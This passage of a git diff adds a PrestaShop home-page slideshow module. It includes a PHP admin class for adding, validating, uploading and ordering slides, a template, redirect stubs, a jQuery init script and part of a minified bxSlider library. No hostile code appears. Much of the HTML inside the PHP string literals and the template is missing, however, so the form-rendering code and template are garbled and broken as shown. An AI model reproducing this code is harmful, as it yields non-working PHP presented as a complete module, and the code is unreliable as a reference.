          '. + $this->displayStatus($slide['id_slide'], $slide['active']).' + + +

          +
        • '; + } + $this->_html .= '
        '; + } + // End fieldset + $this->_html .= '
        '; + } + + private function _displayAddForm() + { + /* Sets Slide : depends if edited or added */ + $slide = null; + if (Tools::isSubmit('id_slide') && $this->slideExists((int)Tools::getValue('id_slide'))) + $slide = new HomeSlide((int)Tools::getValue('id_slide')); + /* Checks if directory is writable */ + if (!is_writable('.')) + $this->adminDisplayWarning(sprintf($this->l('Modules %s must be writable (CHMOD 755 / 777)'), $this->name)); + + /* Gets languages and sets which div requires translations */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + $languages = Language::getLanguages(false); + $divLangName = 'image¤title¤subtitle¤url¤legend¤description'; + $this->_html .= ''; + + /* Form */ + $this->_html .= '
        '; + + /* Fieldset Upload */ + $this->_html .= ' +
        +
        + 1 - '.$this->l('Upload your slide').''; + /* Image */ + $this->_html .= '
        '; + foreach ($languages as $language) + { + $this->_html .= '
        '; + $this->_html .= ''; + /* Sets image as hidden in case it does not change */ + if ($slide && $slide->image[$language['id_lang']]) + $this->_html .= ''; + /* Display image */ + if ($slide && $slide->image[$language['id_lang']]) + $this->_html .= ''; + $this->_html .= '
        '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'image', true); + /* End Fieldset Upload */ + $this->_html .= '


        '; + + /* Fieldset edit/add */ + $this->_html .= '
        '; + if (Tools::isSubmit('addSlide')) /* Configure legend */ + $this->_html .= ' 2 - '.$this->l('Configure your slide').''; + elseif (Tools::isSubmit('id_slide')) /* Edit legend */ + $this->_html .= ' 2 - '.$this->l('Edit your slide').''; + /* Sets id slide as hidden */ + if ($slide && Tools::getValue('id_slide')) + $this->_html .= ''; + /* Sets position as hidden */ + $this->_html .= ''; + + /* Form content */ + /* Title */ + $this->_html .= '
        '; + foreach ($languages as $language) + { + $this->_html .= ' +
        + +
        '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'title', true); + $this->_html .= '


        '; + /* URL */ + $this->_html .= '
        '; + foreach ($languages as $language) + { + $this->_html .= ' +
        + +
        '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'url', true); + $this->_html .= '


        '; + + /* Legend */ + $this->_html .= '
        '; + foreach ($languages as $language) + { + $this->_html .= ' +
        + +
        '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'legend', true); + $this->_html .= '


        '; + +$this->_html .= '
        '; + /* Sub Title */ + $this->_html .= '
        '; + foreach ($languages as $language) + { + $this->_html .= ' +
        + +
        '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'subtitle', true); + $this->_html .= '


        '; + + + /* Description */ + $this->_html .= ' + +
        '; + foreach ($languages as $language) + { + $this->_html .= '
        + +
        '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'description', true); + $this->_html .= '

        '; + + + + +$this->_html .= '
        '; + /* Active */ + $this->_html .= ' + +
        + Yes + active) && (int)$slide->active == 0)) ? '' : 'checked="checked" ').' value="1" /> + + No + active) && (int)$slide->active == 0)) ? 'checked="checked" ' : '').' value="0" /> + +
        '; + + /* Save */ + $this->_html .= ' +

        + + '.$this->l('Cancel').' +

        '; + + /* End of fieldset & form */ + $this->_html .= ' +

        *'.$this->l('Required fields').'

        +
        +
        '; + } + + private function _postValidation() + { + $errors = array(); + + /* Validation for Slider configuration */ + if (Tools::isSubmit('submitSlider')) + { + + if (!Validate::isInt(Tools::getValue('HOMESLIDER_SPEED')) || !Validate::isInt(Tools::getValue('HOMESLIDER_PAUSE')) || + !Validate::isInt(Tools::getValue('HOMESLIDER_WIDTH')) || !Validate::isInt(Tools::getValue('HOMESLIDER_HEIGHT'))) + $errors[] = $this->l('Invalid values'); + } /* Validation for status */ + elseif (Tools::isSubmit('changeStatus')) + { + if (!Validate::isInt(Tools::getValue('id_slide'))) + $errors[] = $this->l('Invalid slide'); + } + /* Validation for Slide */ + elseif (Tools::isSubmit('submitSlide')) + { + /* Checks state (active) */ + if (!Validate::isInt(Tools::getValue('active_slide')) || (Tools::getValue('active_slide') != 0 && Tools::getValue('active_slide') != 1)) + $errors[] = $this->l('Invalid slide state'); + /* Checks position */ + if (!Validate::isInt(Tools::getValue('position')) || (Tools::getValue('position') < 0)) + $errors[] = $this->l('Invalid slide position'); + /* If edit : checks id_slide */ + if (Tools::isSubmit('id_slide')) + { + if (!Validate::isInt(Tools::getValue('id_slide')) && !$this->slideExists(Tools::getValue('id_slide'))) + $errors[] = $this->l('Invalid id_slide'); + } + /* Checks title/url/legend/description/image */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + if (Tools::strlen(Tools::getValue('title_'.$language['id_lang'])) > 255) + $errors[] = $this->l('The title is too long.'); + // if (Tools::strlen(Tools::getValue('subtitle_'.$language['id_lang'])) > 255) + // $errors[] = $this->l('The subtitle is too long.'); + if (Tools::strlen(Tools::getValue('legend_'.$language['id_lang'])) > 255) + $errors[] = $this->l('The legend is too long.'); + if (Tools::strlen(Tools::getValue('url_'.$language['id_lang'])) > 255) + $errors[] = $this->l('The URL is too long.'); + // if (Tools::strlen(Tools::getValue('description_'.$language['id_lang'])) > 4000) + // $errors[] = $this->l('The description is too long.'); + if (Tools::strlen(Tools::getValue('url_'.$language['id_lang'])) > 0 && !Validate::isUrl(Tools::getValue('url_'.$language['id_lang']))) + $errors[] = $this->l('The URL format is not correct.'); + if (Tools::getValue('image_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image_'.$language['id_lang']))) + $errors[] = $this->l('Invalid filename'); + if (Tools::getValue('image_old_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image_old_'.$language['id_lang']))) + $errors[] = $this->l('Invalid filename'); + } + + /* Checks title/url/legend/description for default lang */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + if (Tools::strlen(Tools::getValue('title_'.$id_lang_default)) == 0) + $errors[] = $this->l('The title is not set.'); + // if (Tools::strlen(Tools::getValue('subtitle_'.$id_lang_default)) == 0) + // $errors[] = $this->l('The title is not set.'); + if (Tools::strlen(Tools::getValue('legend_'.$id_lang_default)) == 0) + $errors[] = $this->l('The legend is not set.'); + if (Tools::strlen(Tools::getValue('url_'.$id_lang_default)) == 0) + $errors[] = $this->l('The URL is not set.'); + if (!Tools::isSubmit('has_picture') && (!isset($_FILES['image_'.$id_lang_default]) || empty($_FILES['image_'.$id_lang_default]['tmp_name']))) + $errors[] = $this->l('The image is not set.'); + if (Tools::getValue('image_old_'.$id_lang_default) && !Validate::isFileName(Tools::getValue('image_old_'.$id_lang_default))) + $errors[] = $this->l('The image is not set.'); + } /* Validation for deletion */ + elseif (Tools::isSubmit('delete_id_slide') && (!Validate::isInt(Tools::getValue('delete_id_slide')) || !$this->slideExists((int)Tools::getValue('delete_id_slide')))) + $errors[] = $this->l('Invalid id_slide'); + + /* Display errors if needed */ + if (count($errors)) + { + $this->_html .= $this->displayError(implode('
        ', $errors)); + return false; + } + + /* Returns if validation is ok */ + return true; + } + + private function _postProcess() + { + $errors = array(); + + /* Processes Slider */ + if (Tools::isSubmit('submitSlider')) + { + $res = Configuration::updateValue('HOMESLIDER_WIDTH', (int)Tools::getValue('HOMESLIDER_WIDTH')); + $res &= Configuration::updateValue('HOMESLIDER_HEIGHT', (int)Tools::getValue('HOMESLIDER_HEIGHT')); + $res &= Configuration::updateValue('HOMESLIDER_SPEED', (int)Tools::getValue('HOMESLIDER_SPEED')); + $res &= Configuration::updateValue('HOMESLIDER_PAUSE', (int)Tools::getValue('HOMESLIDER_PAUSE')); + $res &= Configuration::updateValue('HOMESLIDER_LOOP', (int)Tools::getValue('HOMESLIDER_LOOP')); + $this->clearCache(); + if (!$res) + $errors[] = $this->displayError($this->l('The configuration could not be updated.')); + $this->_html .= $this->displayConfirmation($this->l('Configuration updated')); + } /* Process Slide status */ + elseif (Tools::isSubmit('changeStatus') && Tools::isSubmit('id_slide')) + { + $slide = new HomeSlide((int)Tools::getValue('id_slide')); + if ($slide->active == 0) + $slide->active = 1; + else + $slide->active = 0; + $res = $slide->update(); + $this->clearCache(); + $this->_html .= ($res ? $this->displayConfirmation($this->l('Configuration updated')) : $this->displayError($this->l('The configuration could not be updated.'))); + } + /* Processes Slide */ + elseif (Tools::isSubmit('submitSlide')) + { + /* Sets ID if needed */ + if (Tools::getValue('id_slide')) + { + $slide = new HomeSlide((int)Tools::getValue('id_slide')); + if (!Validate::isLoadedObject($slide)) + { + $this->_html .= $this->displayError($this->l('Invalid id_slide')); + return; + } + } + else + $slide = new HomeSlide(); + /* Sets position */ + $slide->position = (int)Tools::getValue('position'); + /* Sets active */ + $slide->active = (int)Tools::getValue('active_slide'); + + /* Sets each langue fields */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + $slide->title[$language['id_lang']] = Tools::getValue('title_'.$language['id_lang']); + $slide->subtitle[$language['id_lang']] = Tools::getValue('subtitle_'.$language['id_lang']); + $slide->url[$language['id_lang']] = Tools::getValue('url_'.$language['id_lang']); + $slide->legend[$language['id_lang']] = Tools::getValue('legend_'.$language['id_lang']); + $slide->description[$language['id_lang']] = Tools::getValue('description_'.$language['id_lang']); + + /* Uploads image and sets slide */ + $type = strtolower(substr(strrchr($_FILES['image_'.$language['id_lang']]['name'], '.'), 1)); + $imagesize = array(); + $imagesize = @getimagesize($_FILES['image_'.$language['id_lang']]['tmp_name']); + if (isset($_FILES['image_'.$language['id_lang']]) && + isset($_FILES['image_'.$language['id_lang']]['tmp_name']) && + !empty($_FILES['image_'.$language['id_lang']]['tmp_name']) && + !empty($imagesize) && + in_array(strtolower(substr(strrchr($imagesize['mime'], '/'), 1)), array('jpg', 'gif', 'jpeg', 'png')) && + in_array($type, array('jpg', 'gif', 'jpeg', 'png'))) + { + $temp_name = tempnam(_PS_TMP_IMG_DIR_, 'PS'); + $salt = sha1(microtime()); + if ($error = ImageManager::validateUpload($_FILES['image_'.$language['id_lang']])) + $errors[] = $error; + elseif (!$temp_name || !move_uploaded_file($_FILES['image_'.$language['id_lang']]['tmp_name'], $temp_name)) + return false; + elseif (!ImageManager::resize($temp_name, dirname(__FILE__).'/images/'.Tools::encrypt($_FILES['image_'.$language['id_lang']]['name'].$salt).'.'.$type, null, null, $type)) + $errors[] = $this->displayError($this->l('An error occurred during the image upload process.')); + if (isset($temp_name)) + @unlink($temp_name); + $slide->image[$language['id_lang']] = Tools::encrypt($_FILES['image_'.($language['id_lang'])]['name'].$salt).'.'.$type; + } + elseif (Tools::getValue('image_old_'.$language['id_lang']) != '') + $slide->image[$language['id_lang']] = Tools::getValue('image_old_'.$language['id_lang']); + } + + /* Processes if no errors */ + if (!$errors) + { + /* Adds */ + if (!Tools::getValue('id_slide')) + { + if (!$slide->add()) + $errors[] = $this->displayError($this->l('The slide could not be added.')); + } + /* Update */ + elseif (!$slide->update()) + $errors[] = $this->displayError($this->l('The slide could not be updated.')); + $this->clearCache(); + } + } /* Deletes */ + elseif (Tools::isSubmit('delete_id_slide')) + { + $slide = new HomeSlide((int)Tools::getValue('delete_id_slide')); + $res = $slide->delete(); + $this->clearCache(); + if (!$res) + $this->_html .= $this->displayError('Could not delete'); + else + $this->_html .= $this->displayConfirmation($this->l('Slide deleted')); + } + + /* Display errors if needed */ + if (count($errors)) + $this->_html .= $this->displayError(implode('
        ', $errors)); + elseif (Tools::isSubmit('submitSlide') && Tools::getValue('id_slide')) + $this->_html .= $this->displayConfirmation($this->l('Slide updated')); + elseif (Tools::isSubmit('submitSlide')) + $this->_html .= $this->displayConfirmation($this->l('Slide added')); + } + + private function _prepareHook() + { + // if (!$this->isCached('homeslider.tpl', $this->getCacheId())) + // { + $slider = array( + 'width' => Configuration::get('HOMESLIDER_WIDTH'), + 'height' => Configuration::get('HOMESLIDER_HEIGHT'), + 'speed' => Configuration::get('HOMESLIDER_SPEED'), + 'pause' => Configuration::get('HOMESLIDER_PAUSE'), + 'loop' => Configuration::get('HOMESLIDER_LOOP'), + ); + + $slides = $this->getSlides(true); + if (!$slides) + return false; + + $this->smarty->assign('homeslider_slides', $slides); + $this->smarty->assign('homeslider', $slider); + // } + + return true; + } + + public function hookDisplayHome() + { + if(!$this->_prepareHook()) + return; + + // Check if not a mobile theme + // if ($this->context->getMobileDevice() != false) + // return false; + + $this->context->controller->addJS($this->_path.'js/jquery.bxSlider.min.js'); + $this->context->controller->addCSS($this->_path.'bx_styles.css'); + $this->context->controller->addJS($this->_path.'js/homeslider.js'); + return $this->display(__FILE__, 'homeslider.tpl'/*, $this->getCacheId()*/); + } + + public function clearCache() + { + $this->_clearCache('homeslider.tpl'); + } + + public function hookActionShopDataDuplication($params) + { + Db::getInstance()->execute(' + INSERT IGNORE INTO '._DB_PREFIX_.'homeslider (id_homeslider_slides, id_shop) + SELECT id_homeslider_slides, '.(int)$params['new_id_shop'].' + FROM '._DB_PREFIX_.'homeslider + WHERE id_shop = '.(int)$params['old_id_shop']); + $this->clearCache(); + } + + public function headerHTML() + { + if (Tools::getValue('controller') != 'AdminModules' && Tools::getValue('configure') != $this->name) + return; + + $this->context->controller->addJqueryUI('ui.sortable'); + /* Style & js for fieldset 'slides configuration' */ + $html = ' + + + '; + + return $html; + } + + public function getNextPosition() + { + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT MAX(hss.`position`) AS `next_position` + FROM `'._DB_PREFIX_.'homeslider_slides` hss, `'._DB_PREFIX_.'homeslider` hs + WHERE hss.`id_homeslider_slides` = hs.`id_homeslider_slides` AND hs.`id_shop` = '.(int)$this->context->shop->id + ); + + return (++$row['next_position']); + } + + public function getSlides($active = null) + { + $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hs.`id_homeslider_slides` as id_slide, + hssl.`image`, + hss.`position`, + hss.`active`, + hssl.`title`, + hssl.`subtitle`, + hssl.`url`, + hssl.`legend`, + hssl.`description` + FROM '._DB_PREFIX_.'homeslider hs + LEFT JOIN '._DB_PREFIX_.'homeslider_slides hss ON (hs.id_homeslider_slides = hss.id_homeslider_slides) + LEFT JOIN '._DB_PREFIX_.'homeslider_slides_lang hssl ON (hss.id_homeslider_slides = hssl.id_homeslider_slides) + WHERE (id_shop = '.(int)$id_shop.') + AND hssl.id_lang = '.(int)$id_lang. + ($active ? ' AND hss.`active` = 1' : ' ').' + ORDER BY hss.position'); + } + + public function displayStatus($id_slide, $active) + { + $title = ((int)$active == 0 ? $this->l('Disabled') : $this->l('Enabled')); + $img = ((int)$active == 0 ? 'disabled.gif' : 'enabled.gif'); + $html = ''; + return $html; + } + + public function slideExists($id_slide) + { + $req = 'SELECT hs.`id_homeslider_slides` as id_slide + FROM `'._DB_PREFIX_.'homeslider` hs + WHERE hs.`id_homeslider_slides` = '.(int)$id_slide; + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($req); + return ($row); + } +} diff --git a/modules/homeslider/homeslider.tpl b/modules/homeslider/homeslider.tpl new file mode 100755 index 0000000..05f6601 --- /dev/null +++ b/modules/homeslider/homeslider.tpl @@ -0,0 +1,66 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +{if isset($homeslider)} + +{/if} +{if isset($homeslider_slides)} + +{/if} + diff --git a/modules/homeslider/images/index.php b/modules/homeslider/images/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/homeslider/images/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/homeslider/index.php b/modules/homeslider/index.php new file mode 100755 index 0000000..a230e5a --- /dev/null +++ b/modules/homeslider/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/homeslider/js/homeslider.js b/modules/homeslider/js/homeslider.js new file mode 100755 index 0000000..62e5756 --- /dev/null +++ b/modules/homeslider/js/homeslider.js @@ -0,0 +1,46 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +$(function(){ + + if (typeof(homeslider_speed) == 'undefined') + homeslider_speed = 500; + if (typeof(homeslider_pause) == 'undefined') + homeslider_pause = 3000; + if (typeof(homeslider_loop) == 'undefined') + homeslider_loop = true; + + $('#homeslider').bxSlider({ + infiniteLoop: homeslider_loop, + hideControlOnEnd: true, + pager: false, + autoHover: true, + auto: homeslider_loop, + speed: homeslider_speed, + pause: homeslider_pause, + controls: true + }); +}); \ No newline at end of file diff --git a/modules/homeslider/js/index.php b/modules/homeslider/js/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/homeslider/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/homeslider/js/jquery.bxSlider.min.js b/modules/homeslider/js/jquery.bxSlider.min.js new file mode 100755 index 0000000..a214174 --- /dev/null +++ b/modules/homeslider/js/jquery.bxSlider.min.js @@ -0,0 +1,115 @@ +/** + * WARNING : library has been patched (search for START PATCH tag) from base version 3.0 to fix an error with IE < 9 + * jQuery bxSlider v3.0 + * http://bxslider.com + * + * Copyright 2010, Steven Wanderski + * http://stevenwanderski.com + * + * Free to use and abuse under the MIT license. + * http://www.opensource.org/licenses/mit-license.php + * + */ +(function($){$.fn.bxSlider=function(options){var defaults={mode:'horizontal',infiniteLoop:true,hideControlOnEnd:false,controls:true,speed:500,easing:'swing',pager:false,pagerSelector:null,pagerType:'full',pagerLocation:'bottom',pagerShortSeparator:'/',pagerActiveClass:'pager-active',nextText:'next',nextImage:'',nextSelector:null,prevText:'prev',prevImage:'',prevSelector:null,captions:false,captionsSelector:null,auto:false,autoDirection:'next',autoControls:false,autoControlsSelector:null,autoStart:true,autoHover:false,autoDelay:0,pause:3000,startText:'start',startImage:'',stopText:'stop',stopImage:'',ticker:false,tickerSpeed:5000,tickerDirection:'next',tickerHover:false,wrapperClass:'bx-wrapper',startingSlide:0,displaySlideQty:1,moveSlideQty:1,randomStart:false,onBeforeSlide:function(){},onAfterSlide:function(){},onLastSlide:function(){},onFirstSlide:function(){},onNextSlide:function(){},onPrevSlide:function(){},buildPager:null} +var options=$.extend(defaults,options);var base=this;var $parent='';var $origElement='';var $children='';var $outerWrapper='';var $firstChild='';var childrenWidth='';var childrenOuterWidth='';var wrapperWidth='';var wrapperHeight='';var $pager='';var interval='';var $autoControls='';var $stopHtml='';var $startContent='';var $stopContent='';var autoPlaying=true;var loaded=false;var childrenMaxWidth=0;var childrenMaxHeight=0;var currentSlide=0;var origLeft=0;var origTop=0;var origShowWidth=0;var origShowHeight=0;var tickerLeft=0;var tickerTop=0;var isWorking=false;var firstSlide=0;var lastSlide=$children.length-1;this.goToSlide=function(number,stopAuto){if(!isWorking){isWorking=true;currentSlide=number;options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +slide=number;if(slide==firstSlide){options.onFirstSlide(currentSlide,$children.length,$children.eq(currentSlide));} +if(slide==lastSlide){options.onLastSlide(currentSlide,$children.length,$children.eq(currentSlide));} +if(options.mode=='horizontal'){$parent.animate({'left':'-'+getSlidePosition(slide,'left')+'px'},options.speed,options.easing,function(){isWorking=false;options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){$parent.animate({'top':'-'+getSlidePosition(slide,'top')+'px'},options.speed,options.easing,function(){isWorking=false;options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +checkEndControls();if(options.moveSlideQty>1){number=Math.floor(number/options.moveSlideQty);} +makeSlideActive(number);showCaptions();}} +this.goToNextSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +if(!options.infiniteLoop){if(!isWorking){var slideLoop=false;currentSlide=(currentSlide+(options.moveSlideQty));if(currentSlide<=lastSlide){checkEndControls();options.onNextSlide(currentSlide,$children.length,$children.eq(currentSlide));base.goToSlide(currentSlide);}else{currentSlide-=options.moveSlideQty;}}}else{if(!isWorking){isWorking=true;var slideLoop=false;currentSlide=(currentSlide+options.moveSlideQty);if(currentSlide>lastSlide){currentSlide=currentSlide%$children.length;slideLoop=true;} +options.onNextSlide(currentSlide,$children.length,$children.eq(currentSlide));options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(options.mode=='horizontal'){var parentLeft=(options.moveSlideQty*childrenOuterWidth);$parent.animate({'left':'-='+parentLeft+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('left','-'+getSlidePosition(currentSlide,'left')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){var parentTop=(options.moveSlideQty*childrenMaxHeight);$parent.animate({'top':'-='+parentTop+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('top','-'+getSlidePosition(currentSlide,'top')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +showCaptions();}}} +this.goToPreviousSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +if(!options.infiniteLoop){if(!isWorking){var slideLoop=false;currentSlide=currentSlide-options.moveSlideQty;if(currentSlide<0){currentSlide=0;if(options.hideControlOnEnd){$('.bx-prev',$outerWrapper).hide();}} +checkEndControls();options.onPrevSlide(currentSlide,$children.length,$children.eq(currentSlide));base.goToSlide(currentSlide);}}else{if(!isWorking){isWorking=true;var slideLoop=false;currentSlide=(currentSlide-(options.moveSlideQty));if(currentSlide<0){negativeOffset=(currentSlide%$children.length);if(negativeOffset==0){currentSlide=0;}else{currentSlide=($children.length)+negativeOffset;} +slideLoop=true;} +options.onPrevSlide(currentSlide,$children.length,$children.eq(currentSlide));options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(options.mode=='horizontal'){var parentLeft=(options.moveSlideQty*childrenOuterWidth);$parent.animate({'left':'+='+parentLeft+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('left','-'+getSlidePosition(currentSlide,'left')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){var parentTop=(options.moveSlideQty*childrenMaxHeight);$parent.animate({'top':'+='+parentTop+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('top','-'+getSlidePosition(currentSlide,'top')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +showCaptions();}}} +this.goToFirstSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +base.goToSlide(firstSlide,stopAuto);} +this.goToLastSlide=function(){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +base.goToSlide(lastSlide,stopAuto);} +this.getCurrentSlide=function(){return currentSlide;} +this.getSlideCount=function(){return $children.length;} +this.stopShow=function(changeText){clearInterval(interval);if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.autoControls){$autoControls.html($startContent).removeClass('stop').addClass('start');autoPlaying=false;}} +this.startShow=function(changeText){if(typeof(changeText)=='undefined'){var changeText=true;} +setAutoInterval();if(changeText&&options.autoControls){$autoControls.html($stopContent).removeClass('start').addClass('stop');autoPlaying=true;}} +this.stopTicker=function(changeText){$parent.stop();if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.ticker){$autoControls.html($startContent).removeClass('stop').addClass('start');autoPlaying=false;}} +this.startTicker=function(changeText){if(options.mode=='horizontal'){if(options.tickerDirection=='next'){var stoppedLeft=parseInt($parent.css('left'));var remainingDistance=(origShowWidth+stoppedLeft)+$children.eq(0).width();}else if(options.tickerDirection=='prev'){var stoppedLeft=-parseInt($parent.css('left'));var remainingDistance=(stoppedLeft)-$children.eq(0).width();} +var finishingSpeed=(remainingDistance*options.tickerSpeed)/origShowWidth;moveTheShow(tickerLeft,remainingDistance,finishingSpeed);}else if(options.mode=='vertical'){if(options.tickerDirection=='next'){var stoppedTop=parseInt($parent.css('top'));var remainingDistance=(origShowHeight+stoppedTop)+$children.eq(0).height();}else if(options.tickerDirection=='prev'){var stoppedTop=-parseInt($parent.css('top'));var remainingDistance=(stoppedTop)-$children.eq(0).height();} +var finishingSpeed=(remainingDistance*options.tickerSpeed)/origShowHeight;moveTheShow(tickerTop,remainingDistance,finishingSpeed);if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.ticker){$autoControls.html($stopContent).removeClass('start').addClass('stop');autoPlaying=true;}}} +this.initShow=function(){$parent=$(this);$origElement=$parent.clone();$children=$parent.children();$outerWrapper='';$firstChild=$parent.children(':first');childrenWidth=$firstChild.width();childrenMaxWidth=0;childrenOuterWidth=$firstChild.outerWidth();childrenMaxHeight=0;wrapperWidth=getWrapperWidth();wrapperHeight=getWrapperHeight();isWorking=false;$pager='';currentSlide=0;origLeft=0;origTop=0;interval='';$autoControls='';$stopHtml='';$startContent='';$stopContent='';autoPlaying=true;loaded=false;origShowWidth=0;origShowHeight=0;tickerLeft=0;tickerTop=0;firstSlide=0;lastSlide=$children.length-1;$children.each(function(index){if($(this).outerHeight()>childrenMaxHeight){childrenMaxHeight=$(this).outerHeight();} +if($(this).outerWidth()>childrenMaxWidth){childrenMaxWidth=$(this).outerWidth();}});if(options.randomStart){var randomNumber=Math.floor(Math.random()*$children.length);currentSlide=randomNumber;origLeft=childrenOuterWidth*(options.moveSlideQty+randomNumber);origTop=childrenMaxHeight*(options.moveSlideQty+randomNumber);}else{currentSlide=options.startingSlide;origLeft=childrenOuterWidth*(options.moveSlideQty+options.startingSlide);origTop=childrenMaxHeight*(options.moveSlideQty+options.startingSlide);} +initCss();if(options.pager&&!options.ticker){if(options.pagerType=='full'){showPager('full');}else if(options.pagerType=='short'){showPager('short');}} +if(options.controls&&!options.ticker){setControlsVars();} +if(options.auto||options.ticker){if(options.autoControls){setAutoControlsVars();} +if(options.autoStart){setTimeout(function(){base.startShow(true);},options.autoDelay);}else{base.stopShow(true);} +if(options.autoHover&&!options.ticker){setAutoHover();}} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +checkEndControls();if(options.captions){showCaptions();} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));} +this.destroyShow=function(){clearInterval(interval);$('.bx-next, .bx-prev, .bx-pager, 